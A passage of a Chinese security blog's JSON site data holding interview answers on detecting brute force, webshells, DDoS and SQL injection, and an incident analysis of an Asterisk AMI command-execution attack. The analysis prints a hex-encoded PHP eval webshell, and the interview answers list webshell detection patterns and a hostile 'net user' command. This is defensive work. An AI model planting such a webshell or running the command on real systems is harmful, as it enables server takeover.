filter\u003c/strong\u003e\u003c/a\u003e\u003c/p\u003e","title":"机器学习与网络安全相关的资料"},{"content":"昨天做的一份关于安全分析的面试题，记录一下，有些地方回答得可能不是很全面，若有纰漏欢迎指出。\n如何对邮件或web服务器的网络行为进行分析，写出你的方法、步骤和关键要点。 一、针对邮件服务器的web端进行网络行为的分析：\n下面假设针对邮件服务器常出现的三种情况进行分析\n1、暴力破解用户登录名和密码\n分析方法：\n（1） 查看web端页面的访问流量情况是否异常，重点查看某一时间段内连接该web页面的IP情况，是否有同一IP请求大量重复连接的情况（有一些暴力破解攻击攻击者为了避免被防火墙、IDS等一些安全设备屏蔽，也会采用IP池、代理等多种方式频繁更换IP），如存在这种情况则进行深入分析。\n（2） 通常web端的暴力破解攻击会产生大量的POST提交请求，查看HTTP请求的数据包，如果发现提交的HTTP请求的内容中含有大的量的相同账号，不同密码的登录尝试请求（也可能是大量的不同账号的登陆请求），则可断定为暴力破解攻击。 如下图： 图1-web暴力破解攻击\n防御措施：\n使用验证码进行验证登陆、限制用户尝试密码次数、邮箱用户密码设置强密码等。\n2、 邮件系统内某一用户对外发送大量垃圾邮件\n通常这种情况出现在用户邮箱被盗，或计算机中病毒（蠕虫病毒的情况较常见）之后。\n分析方法：\n（1） 若用户邮件系统本身数据量较大可采用采样分析的方法，选择邮件系统较繁忙的时间段（如上班期间）抓包分析。 （2） 抓取网络流量中的SMTP、POP3协议的流量包，利用wireshark等分析工具的统计功能查看向外发送请求较多的IP地址。 （3） 针对对外请求较多的IP地址可以查看其发送的数据包里面所发送的邮件头信息，具体查看发送的频率（一般很快），其次查看收件人邮箱地址（通常对外发送垃圾邮件邮件的收件人地址多为一些怪异的邮箱地址，具体根据个人经验判断）、邮件内容（若未加密）是否为广告邮件或其他垃圾邮件，再可以查看发送出去的邮件的状态，大多数垃圾邮件发送出去之后一般会被对方服务器拒收，数据包里可以看到 “Sender denied”的标志。 （4） 通过上述几点可以综合判断用户是否存在用户邮箱的对外发送垃圾邮件影响邮件服务器性能的问题。 （5） 针对计算机中蠕虫病毒之后对外发送垃圾邮件的情况，通常计算机在发送垃圾邮件之前会向外连接远程服务器下载邮箱地址列表，然后再对列表中的邮件地址发送垃圾邮件。同时蠕虫病毒本身具有传播性，还会伴随着内网扫描、尝试邮箱用户密码（该操作通常也会下载尝试的用户名和密码文件）等操作。可以通过这些特征来发现邮件服务器中的异常行为，蠕虫病毒分析具体技术细节就不再赘述。\n防御措施：\n加强服务器自身的安全性及时打补丁、安装杀毒软件、邮箱用户密码设置强密码等。\n3、 针对其他类型web服务器主机的流量分析\n首先要知道WEB服务器如果出现问题，常见的大致可以分为三个方面的问题：被植入后门、遭受DDOS攻击、网站存在漏洞被利用。下面从这三个方面大致讲述。\n分析方法：\n（1） 被植入后门（这里只针对被植入webshell的情况，服务器自身被植入后门不做分析） 通常网站在被植入webshell之后，黑客会进行webshell的访问。若是在线监测分析可在监测工具中加入常见webshell特征（如一些一句话木马常用的函数“eval()”、”execute()”、wscipt.shell等）进行在线监测，查看是否有IP连接具有这些危险函数的页面，如果有再进行下一步的深入分析查看该页面是否是正常网站页面（通常情况一般web文件不会包含上述特征）。同时也可以通过查看数据包中HTTP是否有对可疑页面文件（如1.jsp等）的请求，判断是否被植入后门。以上方法缺点是在数据量较大的情况下可能存在较多的误报，人工检测分析效率不高，所以最好还是借助安全设备和一些安全工具进行检测再对检测出的可疑数据进行分析确认。 顺便提一下目前比较流行的网站被植入挖矿代码的分析和检测。如果网站被植入挖矿代码，挖矿代码一定会连接矿池地址，在数据包中可针对矿池地址和一些常用的挖矿的端口进行检查。 （2） 遭受DDOS攻击 DDOS攻击类型多种，以下只挑选两种较有代表性的攻击举例。 SYN flood攻击。短时间内通过大量的IP向web服务器发送请求连接的半开TCP数据包，而不完成三次握手。所以这种攻击一般很明显，从整体流量上看，syn数据包的数据包会明显增加。 慢速HTTP POST 攻击。这种攻击不会像一般的DDOS攻击发送大量数据包暂用网络资源来导致WEB服务器拒绝服务。通常这类攻击在与服务器建立连接后会设定一个较大的content-length值，然后以很低的速度发包。针对这类攻击可以查看数据包中HTTP的POST请求中是否有IP发送content-length较大的数据包。经过之前对这种类型的攻击工具的分析，一般发包的时间是固定的，例如10S发一次包。 （3） 网站存在漏洞被利用 常见的web攻击方式一般有sql注入、文件上传、远程命令执行等。Sql注入攻击，结合以前的工作经验来看，大多数会先采用扫描的方式，那么数据包中可以看到大量的尝试sql注入的语句，大量的数据包不便于分析，所以可以排除掉一些返回404或者302状态的数据包，只查看一些有成功返回信息的请求数据包，再查看sql注入是否成功。当发现数据包中有ip大量尝试sql注入的话，也可以缩小范围只针对该IP的流量进行分析，重点查看该IPsql注入尝试完之后有无其他动作。文件上传攻击，例如一些网站上传用户头像的地方对上传文件的过滤不严格攻击者可能会上传一句话图片木马，所以可以在数据包中查看上传的文件内容，是否包含可疑代码。远程命令执行，这种类型的攻击可以直接过滤查看出数据包中是否还有一些危险命令的数据包（例如 net user xxx xx/add、cmd等这类命令）。\n抓取网络中的SMTP/POP3、QQ、HTTP等流量，通过数据包的分析能获取哪些关键参数 下面列举一些较有用的可能不完全： SMTP/POP3： USER、PASS （用户登录名、密码） EHLO （发送方的主机名） MAIL FROM/RCPT TO (发送方/接收方地址) HTTP： GET/POST （请求的类型，后面是请求的页面） HOST （主机名和端口号，通常为域名） User-Agent (发送请求的客户端信息。特殊情况：如爬虫访问、扫描器扫描) “200、404、302“等 （服务器返回的响应码） QQ: QQ的协议加密，从数据包中获取不到什么关键参数。\n一些像源IP、目的IP、源MAC地址、目的MAC地址这类的信息就不再说了。\n写出TCP三次握手的过程，通过TCP三次握手可以分析哪些问题 三次握手过程：\n第一次握手：客户端发送syn包给服务器\n第二次握手： 服务器收到syn包，确认客户端的syn并回复一个syn包（syn+ack）\n第三次握手：客户端收到服务器的syn+ack包之后向服务器发送确认包\n可以分析像上面提到的基于三次握手的SYN攻击。\n在大流量情况下，如何发现异常流量和异常网络行为，写出你知道的方法 1、使用科来或其他一些其他安全检测设备监测异常流量，具体根据客户网络情况来看，例如平时网络出口的平均流量在一个什么范围内，并据此设定一个阀值（可以是一个时间段内的流量阀值或是某时间段内网络流量内的数据包数量），当监测的网络中流量超过该阀值时，设备出现报警信息，根据产生的警报信息再去查看相应时段的网络流量，从而发现网络中的异常流量。针对异常网络行为，可以采取设定特征值匹配的方式来监测一些特定的网络行为，根据产生的告警信息再去查看相应流量。\n2、如果身边没有相关设备，纯工具的情况下，可以使用wirshark或其他一些数据包分析工具的统计功能，统计出可疑或流量异常的IP、协议等，再进行有针对性的分析。由于是在大流量的情况下，所以使用这种方式可能在进行流量抓取的时候就要进行数据包过滤或采用采样分析的方法，视具体情况，如果能了解到客户网络中可能存在问题的IP地址、某应用协议等信息，则可以缩小分析的范围减少无关的流量。\n综上所述，在面对大流量的情况下，无论采用什么方法，核心还是使用过滤无关数据包、缩小分析范围的方式来进行分析，这样才能提高工作效率。\n写出你知道的关于端口的所有知识点 1、 一些常用的端口号： ftp:21、ssh:22、smtp:23、http:80、telnet：25、dns:53、远程连：3389。 2、 Windos下端口查看方式：netstat -a (显示所有连接和监听的端口)。 3、 关闭一些不用、具有漏洞容易被攻击的端口，如：445、139等被永恒之蓝利用的端口、更改一些常用的容易被扫描的端口号，如：22、3389等。 4、 端口映射、端口转发：效果差不多，将内部的主机开放到外网 。\n写出网卡接收数据的几种工作模式 1、 广播 2、 多播 3、 直接 4、 混杂\n写出你知道的关于APT攻击检测的方法、步骤、技术 首先要检测APT攻击就要了解APT攻击的几个特点：普遍采用0day攻击、攻击方式多样化，往往是社工+0day+极强隐蔽性。\n检测方法：\n对于一些已知APT组织的攻击，威胁情报的搜集很重要，通过威胁情报可以提取到一些较有用的信息，如该APT组织使用的域名、IP、所利用的漏洞、使用的工具及后门特征等。通过这些威胁情报的搜集，将这些特征加入到安全检测设备，从而实现对已知的APT攻击的检测。 对于一些未知的APT攻击，可以采用安全沙箱+组合攻击监测+全流量回溯分析等多种检测技术结合方式来实现对未知APT的监测。例如：通过将流量引入安全沙箱或虚拟机通过对沙箱的进程、注册表、网络连接行为等进行监控。通过安全设备的对针对特定系统的组合型攻击进行监测。通过科来的全流量回溯分析系统在检测到可疑攻击行为的时候回溯相关流量，将数据包中包含的下载的文件、http访问等通信信息进行还原来进行深层次的分析。 综上所述，无论对于已知APT攻击还是未知APT攻击，采用多元化、多维度、多种技术手段结合的方式，才能提高APT检测的效率和准确性。\n写出你对网络安全分析的理解 网络安全分析即对网络中存在的已知或未知安全问题的分析，与网络性能分析相比更侧重的是网络中出现的安全事件，如网络攻击、系统漏洞、木马病毒等这些方面的问题。 作为一名合格的安全分析工程师至少应当具备基础的数据包分析能力、如熟悉TCP/IP协议、从大流量的环境中快速定位、筛选出安全问题的能力，了解黑客常见的攻击手法和方式并能从网络流量中发现这些攻击、了解行业内最新的安全事件、威胁情报、会使用常用的分析工具等。\n你认为一个合格的售前工程师需要哪些方面的素养 1、公司业务领域的行业现状，行业发展趋势，具有专业的行业知识背景。 2、具备一定的产品知识，悉公司本身的技术状态，包括技术团队能力、项目实施能力，行业解决方案的特点和优劣。 3、有良好的沟通能力、文档能力、能充分理解、把握客户的需求，针对客户需求制定合理的解决方案。\n","permalink":"https://www.lucien116.com/archives/404/","summary":"\u003cp\u003e昨天做的一份关于安全分析的面试题，记录一下，有些地方回答得可能不是很全面，若有纰漏欢迎指出。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e如何对邮件或web服务器的网络行为进行分析，写出你的方法、步骤和关键要点。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e一、针对邮件服务器的web端进行网络行为的分析：\u003c/p\u003e\n\u003cp\u003e下面假设针对邮件服务器常出现的三种情况进行分析\u003c/p\u003e\n\u003cp\u003e1、暴力破解用户登录名和密码\u003c/p\u003e\n\u003cp\u003e分析方法：\u003c/p\u003e\n\u003cp\u003e（1） 查看web端页面的访问流量情况是否异常，重点查看某一时间段内连接该web页面的IP情况，是否有同一IP请求大量重复连接的情况（有一些暴力破解攻击攻击者为了避免被防火墙、IDS等一些安全设备屏蔽，也会采用IP池、代理等多种方式频繁更换IP），如存在这种情况则进行深入分析。\u003c/p\u003e\n\u003cp\u003e（2） 通常web端的暴力破解攻击会产生大量的POST提交请求，查看HTTP请求的数据包，如果发现提交的HTTP请求的内容中含有大的量的相同账号，不同密码的登录尝试请求（也可能是大量的不同账号的登陆请求），则可断定为暴力破解攻击。 如下图： \u003ca href=\"/wp-content/uploads/2018/03/baolipojie.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/03/baolipojie.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图1-web暴力破解攻击\u003c/p\u003e\n\u003cp\u003e防御措施：\u003c/p\u003e\n\u003cp\u003e使用验证码进行验证登陆、限制用户尝试密码次数、邮箱用户密码设置强密码等。\u003c/p\u003e\n\u003cp\u003e2、 邮件系统内某一用户对外发送大量垃圾邮件\u003c/p\u003e\n\u003cp\u003e通常这种情况出现在用户邮箱被盗，或计算机中病毒（蠕虫病毒的情况较常见）之后。\u003c/p\u003e\n\u003cp\u003e分析方法：\u003c/p\u003e\n\u003cp\u003e（1） 若用户邮件系统本身数据量较大可采用采样分析的方法，选择邮件系统较繁忙的时间段（如上班期间）抓包分析。\n（2） 抓取网络流量中的SMTP、POP3协议的流量包，利用wireshark等分析工具的统计功能查看向外发送请求较多的IP地址。\n（3） 针对对外请求较多的IP地址可以查看其发送的数据包里面所发送的邮件头信息，具体查看发送的频率（一般很快），其次查看收件人邮箱地址（通常对外发送垃圾邮件邮件的收件人地址多为一些怪异的邮箱地址，具体根据个人经验判断）、邮件内容（若未加密）是否为广告邮件或其他垃圾邮件，再可以查看发送出去的邮件的状态，大多数垃圾邮件发送出去之后一般会被对方服务器拒收，数据包里可以看到 “Sender denied”的标志。\n（4） 通过上述几点可以综合判断用户是否存在用户邮箱的对外发送垃圾邮件影响邮件服务器性能的问题。\n（5） 针对计算机中蠕虫病毒之后对外发送垃圾邮件的情况，通常计算机在发送垃圾邮件之前会向外连接远程服务器下载邮箱地址列表，然后再对列表中的邮件地址发送垃圾邮件。同时蠕虫病毒本身具有传播性，还会伴随着内网扫描、尝试邮箱用户密码（该操作通常也会下载尝试的用户名和密码文件）等操作。可以通过这些特征来发现邮件服务器中的异常行为，蠕虫病毒分析具体技术细节就不再赘述。\u003c/p\u003e\n\u003cp\u003e防御措施：\u003c/p\u003e\n\u003cp\u003e加强服务器自身的安全性及时打补丁、安装杀毒软件、邮箱用户密码设置强密码等。\u003c/p\u003e\n\u003cp\u003e3、 针对其他类型web服务器主机的流量分析\u003c/p\u003e\n\u003cp\u003e首先要知道WEB服务器如果出现问题，常见的大致可以分为三个方面的问题：被植入后门、遭受DDOS攻击、网站存在漏洞被利用。下面从这三个方面大致讲述。\u003c/p\u003e\n\u003cp\u003e分析方法：\u003c/p\u003e\n\u003cp\u003e（1） 被植入后门（这里只针对被植入webshell的情况，服务器自身被植入后门不做分析）\n通常网站在被植入webshell之后，黑客会进行webshell的访问。若是在线监测分析可在监测工具中加入常见webshell特征（如一些一句话木马常用的函数“eval()”、”execute()”、wscipt.shell等）进行在线监测，查看是否有IP连接具有这些危险函数的页面，如果有再进行下一步的深入分析查看该页面是否是正常网站页面（通常情况一般web文件不会包含上述特征）。同时也可以通过查看数据包中HTTP是否有对可疑页面文件（如1.jsp等）的请求，判断是否被植入后门。以上方法缺点是在数据量较大的情况下可能存在较多的误报，人工检测分析效率不高，所以最好还是借助安全设备和一些安全工具进行检测再对检测出的可疑数据进行分析确认。\n顺便提一下目前比较流行的网站被植入挖矿代码的分析和检测。如果网站被植入挖矿代码，挖矿代码一定会连接矿池地址，在数据包中可针对矿池地址和一些常用的挖矿的端口进行检查。\n（2） 遭受DDOS攻击\nDDOS攻击类型多种，以下只挑选两种较有代表性的攻击举例。\nSYN flood攻击。短时间内通过大量的IP向web服务器发送请求连接的半开TCP数据包，而不完成三次握手。所以这种攻击一般很明显，从整体流量上看，syn数据包的数据包会明显增加。\n慢速HTTP POST 攻击。这种攻击不会像一般的DDOS攻击发送大量数据包暂用网络资源来导致WEB服务器拒绝服务。通常这类攻击在与服务器建立连接后会设定一个较大的content-length值，然后以很低的速度发包。针对这类攻击可以查看数据包中HTTP的POST请求中是否有IP发送content-length较大的数据包。经过之前对这种类型的攻击工具的分析，一般发包的时间是固定的，例如10S发一次包。\n（3） 网站存在漏洞被利用\n常见的web攻击方式一般有sql注入、文件上传、远程命令执行等。Sql注入攻击，结合以前的工作经验来看，大多数会先采用扫描的方式，那么数据包中可以看到大量的尝试sql注入的语句，大量的数据包不便于分析，所以可以排除掉一些返回404或者302状态的数据包，只查看一些有成功返回信息的请求数据包，再查看sql注入是否成功。当发现数据包中有ip大量尝试sql注入的话，也可以缩小范围只针对该IP的流量进行分析，重点查看该IPsql注入尝试完之后有无其他动作。文件上传攻击，例如一些网站上传用户头像的地方对上传文件的过滤不严格攻击者可能会上传一句话图片木马，所以可以在数据包中查看上传的文件内容，是否包含可疑代码。远程命令执行，这种类型的攻击可以直接过滤查看出数据包中是否还有一些危险命令的数据包（例如 net user xxx xx/add、cmd等这类命令）。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e抓取网络中的SMTP/POP3、QQ、HTTP等流量，通过数据包的分析能获取哪些关键参数\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e下面列举一些较有用的可能不完全：\nSMTP/POP3：\nUSER、PASS （用户登录名、密码）\nEHLO （发送方的主机名）\nMAIL FROM/RCPT TO (发送方/接收方地址)\nHTTP：\nGET/POST （请求的类型，后面是请求的页面）\nHOST （主机名和端口号，通常为域名）\nUser-Agent (发送请求的客户端信息。特殊情况：如爬虫访问、扫描器扫描)\n“200、404、302“等 （服务器返回的响应码）\nQQ:\nQQ的协议加密，从数据包中获取不到什么关键参数。\u003c/p\u003e","title":"一份安全分析师面试题"},{"content":"通过系统日志发现问题参数为channel,文件为onetrans.php，打开onetrans.php查看，如下图\n图-1 onetrans.php\n从onetrans.php中看到改文件还包含了一个phpagi-asmanager-elastix.php文件，打开phpagi-asmanager-elastix.php查看，如下图：\n图-2 phpagi-asmanager-elastix.php\n通过phpagi-asmanager-elastix.php可以发现该web系统是使用的Asterisk，攻击者是通过API提供的Command远程命令执行写入了一句话木马，如下图\n图-3 写入一句话木马\n从上图可以发现攻击者使用system()函数执行的命令，其中“3c3f706870206576616c28245f504f53545b2261353130303933353431313638383635225d293b3f3e”为十六进制编码的一句话木马，用xxd命令（ -P：以 postscript的连续十六进制转储输出，这也叫做纯十六进制转储，和-r:逆向操作: 把xxd的十六进制输出内容转换回原文件的二进制内容。）最后把一句话输出到smart.inc.class.php。\n但是从日志文件看，里面还有Action：Command、ActionID：1这样的字符串，于是上网查了查这个Asterisk。发现攻击者正是利用了这个API提供的Command命令进行的攻击。\nManager API简介 Asterisk管理接口(AMI)允许外部客户端程连接到Asterisk实例，并且可以通过TCP/IP流发送命令和读取事件。在试图跟踪Asterisk内部电话状态进，它就显得特别有用。在服务端和客户端之间，用的是一种简单的\u0026quot;key: value\u0026quot;格式的协议。消息中，以CR/LF为换行符，以空行(两个CR/LF)为数据包终结符。\nAMI协议 向Asterisk发送命令之前，必须先建立一个会话会话建立之后，服务端和客户端之间，可以在任意时候发送数据包客户端发给服务端的包，首行必须有一个”Action”关键字；服务端发给客户端的包，首行则必须有”Event”或”Response”关键字。一个数据包里，命令行的顺序是无关紧要的，所以可以用你熟悉的顺序来组织以CR/LF为换行符，CR/LF加空行(两个CR/LF)为包结束符，Asterisk收到包结束符时开始解析处理\n包的类型 AMI的数据包类型，由首行里的关键字决定，目前有以下三种类型： Action：客户端发给Asterisk的包，请求执行某项特定的动作(Action)。客户端可执行的动作(可扩展的)，取决于Asterisk加载的模块。一次执行一条命令。Action包含需要执行的操作名称和完成操作所需要的参数。Response：Asterisk对Action的响应包。Event：由Asterisk核心或外围模块生成的事件信息，用于通知客户端状态变化，比如电话呼入，有人加入或退出会议室，等等。\nAMI配置 AMI的配置文件/etc/asterisk/manager.conf。AMI缺省的监听端口为5038，主要需要配置的内容是分配个用户，并授予执行的权限，配置实例：\n[general] enabled=yesport=5038bindaddr=0.0.0.0[manager]secret=XXXXXXpermit=0.0.0.0/0.0.0.0read=system,call,log,verbose,agent,command,userwrite=system,call,log,verbose,agent,command,user\n配置项的详细内容，可参考http://www.asterisk.org/doxygen/trunk/Config_ami.html配置完成后，可以在CLI下查看manager用信息，操作实例如下：\nyjye*CLI\u0026gt; manager show users\nusername ---\u0026mdash;\u0026ndash; admin ---\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;- 1 manager users configured.\nAMI的命令列表可以通过在CLI下的manager show commands查看，我的环境里是这样的：\nyjye*CLI\u0026gt; manager show commands Action Privilege Synopsis \u0026mdash;\u0026mdash; \u0026mdash;\u0026mdash;\u0026mdash; \u0026mdash;\u0026mdash;\u0026ndash; WaitEvent Wait for an event to occur. QueueReset Reset queue statistics. QueueReload Reload a queue, queues, or any sub-section of a queue o QueueRule Queue Rules. QueuePenalty agent,all Set the penalty for a queue member. QueueLog agent,all Adds custom entry in queue_log. QueuePause agent,all Makes a queue member temporarily unavailable. QueueRemove agent,all Remove interface from queue. QueueAdd agent,all Add interface to queue. QueueSummary Show queue summary. QueueStatus Show queue status. Queues Queues. MuteAudio system,all Mute an audio stream MixMonitorMute Mute / unMute a Mixmonitor recording. VoicemailUsersL call,reporting, List All Voicemail User Information. PlayDTMF call,all Play DTMF signal on a specific channel. SKINNYshowline system,reportin Show SKINNY line (text format). SKINNYlines system,reportin List SKINNY lines (text format). SKINNYshowdevic system,reportin Show SKINNY device (text format). SKINNYdevices system,reportin List SKINNY devices (text format). IAXregistry system,reportin Show IAX registrations. IAXnetstats system,reportin Show IAX Netstats. IAXpeerlist system,reportin List IAX Peers. IAXpeers system,reportin List IAX peers. AgentLogoff agent,all Sets an agent as no longer logged in. Agents agent,all Lists agents and their status. SIPnotify system,all Send a SIP notify. SIPshowregistry system,reportin Show SIP registrations (text format). SIPqualifypeer system,reportin Qualify SIP peers. SIPshowpeer system,reportin show SIP peer (text format). SIPpeers system,reportin List SIP peers (text format). LocalOptimizeAw system,call,all Optimize away a local channel when possible. AGI agi,all Add an AGI command to execute by Async AGI. UnpauseMonitor call,all Unpause monitoring of a channel. PauseMonitor call,all Pause monitoring of a channel. ChangeMonitor call,all Change monitoring filename of a channel. StopMonitor call,all Stop monitoring a channel. Monitor call,all Monitor a channel. DBDelTree system,all Delete DB Tree. DBDel system,all Delete DB entry. DBPut system,all Put DB entry. DBGet system,reportin Get DB Entry. Bridge call,all Bridge two channels already in the PBX. Park call,all Park a channel. ParkedCalls List parked calls. ShowDialPlan config,reportin Show dialplan contexts and extensions AOCMessage aoc,all Generate an Advice of Charge message on a channel. ModuleCheck system,all Check if module is loaded. ModuleLoad system,all Module management. CoreShowChannel system,reportin List currently active channels. Reload system,config,a Send a reload event. CoreStatus system,reportin Show PBX core status variables. CoreSettings system,reportin Show PBX core settings (version etc). UserEvent user,all Send an arbitrary event. UpdateConfig config,all Update basic configuration. SendText call,all Send text message to channel. ListCommands List available manager commands. MailboxCount call,reporting, Check Mailbox Message Count. MailboxStatus call,reporting, Check mailbox. AbsoluteTimeout system,call,all Set absolute timeout. ExtensionState call,reporting, Check Extension Status. Command command,all Execute Asterisk CLI Command. Originate originate,all Originate a call. Atxfer call,all Attended transfer. Redirect call,all Redirect (transfer) a call. ListCategories config,all List categories in configuration file. CreateConfig config,all Creates an empty file in the configuration directory. Status system,call,rep List channel status. GetConfigJSON system,config,a Retrieve configuration (JSON format). GetConfig system,config,a Retrieve configuration. Getvar call,reporting, Gets a channel variable. Setvar call,all Set a channel variable. Ping Keepalive command. Hangup system,call,all Hangup channel. Challenge Generate Challenge for MD5 Auth. Login Login Manager. Logoff Logoff Manager. Events Control Event Flow. DataGet Retrieve the data api tree.\n参考： 《通过AMI接口远程控制Asterisk》\n","permalink":"https://www.lucien116.com/archives/379/","summary":"\u003cp\u003e通过系统日志发现问题参数为channel,文件为onetrans.php，打开onetrans.php查看，如下图\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/12/12345.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/12/12345.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图-1 onetrans.php\u003c/p\u003e\n\u003cp\u003e从onetrans.php中看到改文件还包含了一个phpagi-asmanager-elastix.php文件，打开phpagi-asmanager-elastix.php查看，如下图：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/12/543.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/12/543.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图-2 phpagi-asmanager-elastix.php\u003c/p\u003e\n\u003cp\u003e通过phpagi-asmanager-elastix.php可以发现该web系统是使用的Asterisk，攻击者是通过API提供的Command远程命令执行写入了一句话木马，如下图\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/12/1234.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/12/1234.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图-3 写入一句话木马\u003c/p\u003e\n\u003cp\u003e从上图可以发现攻击者使用system()函数执行的命令，其中“3c3f706870206576616c28245f504f53545b2261353130303933353431313638383635225d293b3f3e”为十六进制编码的一句话木马，用xxd命令（ -P：以 postscript的连续十六进制转储输出，这也叫做纯十六进制转储，和-r:逆向操作: 把xxd的十六进制输出内容转换回原文件的二进制内容。）最后把一句话输出到smart.inc.class.php。\u003c/p\u003e\n\u003cp\u003e但是从日志文件看，里面还有Action：Command、ActionID：1这样的字符串，于是上网查了查这个Asterisk。发现攻击者正是利用了这个API提供的Command命令进行的攻击。\u003c/p\u003e\n\u003ch1 id=\"manager-api简介\"\u003eManager API简介\u003c/h1\u003e\n\u003cp\u003eAsterisk管理接口(AMI)允许外部客户端程连接到Asterisk实例，并且可以通过TCP/IP流发送命令和读取事件。在试图跟踪Asterisk内部电话状态进，它就显得特别有用。在服务端和客户端之间，用的是一种简单的\u0026quot;key: value\u0026quot;格式的协议。消息中，以CR/LF为换行符，以空行(两个CR/LF)为数据包终结符。\u003c/p\u003e\n\u003ch1 id=\"ami协议\"\u003eAMI协议\u003c/h1\u003e\n\u003cp\u003e向Asterisk发送命令之前，必须先建立一个会话会话建立之后，服务端和客户端之间，可以在任意时候发送数据包客户端发给服务端的包，首行必须有一个”Action”关键字；服务端发给客户端的包，首行则必须有”Event”或”Response”关键字。一个数据包里，命令行的顺序是无关紧要的，所以可以用你熟悉的顺序来组织以CR/LF为换行符，CR/LF加空行(两个CR/LF)为包结束符，Asterisk收到包结束符时开始解析处理\u003c/p\u003e\n\u003ch1 id=\"包的类型\"\u003e包的类型\u003c/h1\u003e\n\u003cp\u003eAMI的数据包类型，由首行里的关键字决定，目前有以下三种类型： Action：客户端发给Asterisk的包，请求执行某项特定的动作(Action)。客户端可执行的动作(可扩展的)，取决于Asterisk加载的模块。一次执行一条命令。Action包含需要执行的操作名称和完成操作所需要的参数。Response：Asterisk对Action的响应包。Event：由Asterisk核心或外围模块生成的事件信息，用于通知客户端状态变化，比如电话呼入，有人加入或退出会议室，等等。\u003c/p\u003e\n\u003ch1 id=\"ami配置\"\u003eAMI配置\u003c/h1\u003e\n\u003cp\u003eAMI的配置文件\u003ca href=\"http://147.203.55.2/wiki/view/Asterisk+config+manager.conf\"\u003e/etc/asterisk/manager.conf\u003c/a\u003e。AMI缺省的监听端口为5038，主要需要配置的内容是分配个用户，并授予执行的权限，配置实例：\u003c/p\u003e\n\u003cp\u003e[general]   enabled=yesport=5038bindaddr=0.0.0.0[manager]secret=XXXXXXpermit=0.0.0.0/0.0.0.0read=system,call,log,verbose,agent,command,userwrite=system,call,log,verbose,agent,command,user\u003c/p\u003e\n\u003cp\u003e配置项的详细内容，可参考\u003ca href=\"http://www.asterisk.org/doxygen/trunk/Config_ami.html\"\u003ehttp://www.asterisk.org/doxygen/trunk/Config_ami.html\u003c/a\u003e配置完成后，可以在CLI下查看manager用信息，操作实例如下：\u003c/p\u003e\n\u003cp\u003eyjye*CLI\u0026gt; manager show users\u003c/p\u003e\n\u003cp\u003eusername\n---\u0026mdash;\u0026ndash;\nadmin\n---\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;-\n1 manager users configured.\u003c/p\u003e\n\u003cp\u003eAMI的命令列表可以通过在CLI下的manager show commands查看，我的环境里是这样的：\u003c/p\u003e\n\u003cp\u003eyjye*CLI\u0026gt; manager show commands\nAction           Privilege       Synopsis\n\u0026mdash;\u0026mdash;           \u0026mdash;\u0026mdash;\u0026mdash;       \u0026mdash;\u0026mdash;\u0026ndash;\nWaitEvent        \u003cnone\u003e          Wait for an event to occur.\nQueueReset       \u003cnone\u003e          Reset queue statistics.\nQueueReload      \u003cnone\u003e          Reload a queue, queues, or any sub-section of a queue o\nQueueRule        \u003cnone\u003e          Queue Rules.\nQueuePenalty     agent,all       Set the penalty for a queue member.\nQueueLog         agent,all       Adds custom entry in queue_log.\nQueuePause       agent,all       Makes a queue member temporarily unavailable.\nQueueRemove      agent,all       Remove interface from queue.\nQueueAdd         agent,all       Add interface to queue.\nQueueSummary     \u003cnone\u003e          Show queue summary.\nQueueStatus      \u003cnone\u003e          Show queue status.\nQueues           \u003cnone\u003e          Queues.\nMuteAudio        system,all      Mute an audio stream\nMixMonitorMute   \u003cnone\u003e          Mute / unMute a Mixmonitor recording.\nVoicemailUsersL  call,reporting, List All Voicemail User Information.\nPlayDTMF         call,all        Play DTMF signal on a specific channel.\nSKINNYshowline   system,reportin Show SKINNY line (text format).\nSKINNYlines      system,reportin List SKINNY lines (text format).\nSKINNYshowdevic  system,reportin Show SKINNY device (text format).\nSKINNYdevices    system,reportin List SKINNY devices (text format).\nIAXregistry      system,reportin Show IAX registrations.\nIAXnetstats      system,reportin Show IAX Netstats.\nIAXpeerlist      system,reportin List IAX Peers.\nIAXpeers         system,reportin List IAX peers.\nAgentLogoff      agent,all       Sets an agent as no longer logged in.\nAgents           agent,all       Lists agents and their status.\nSIPnotify        system,all      Send a SIP notify.\nSIPshowregistry  system,reportin Show SIP registrations (text format).\nSIPqualifypeer   system,reportin Qualify SIP peers.\nSIPshowpeer      system,reportin show SIP peer (text format).\nSIPpeers         system,reportin List SIP peers (text format).\nLocalOptimizeAw  system,call,all Optimize away a local channel when possible.\nAGI              agi,all         Add an AGI command to execute by Async AGI.\nUnpauseMonitor   call,all        Unpause monitoring of a channel.\nPauseMonitor     call,all        Pause monitoring of a channel.\nChangeMonitor    call,all        Change monitoring filename of a channel.\nStopMonitor      call,all        Stop monitoring a channel.\nMonitor          call,all        Monitor a channel.\nDBDelTree        system,all      Delete DB Tree.\nDBDel            system,all      Delete DB entry.\nDBPut            system,all      Put DB entry.\nDBGet            system,reportin Get DB Entry.\nBridge           call,all        Bridge two channels already in the PBX.\nPark             call,all        Park a channel.\nParkedCalls      \u003cnone\u003e          List parked calls.\nShowDialPlan     config,reportin Show dialplan contexts and extensions\nAOCMessage       aoc,all         Generate an Advice of Charge message on a channel.\nModuleCheck      system,all      Check if module is loaded.\nModuleLoad       system,all      Module management.\nCoreShowChannel  system,reportin List currently active channels.\nReload           system,config,a Send a reload event.\nCoreStatus       system,reportin Show PBX core status variables.\nCoreSettings     system,reportin Show PBX core settings (version etc).\nUserEvent        user,all        Send an arbitrary 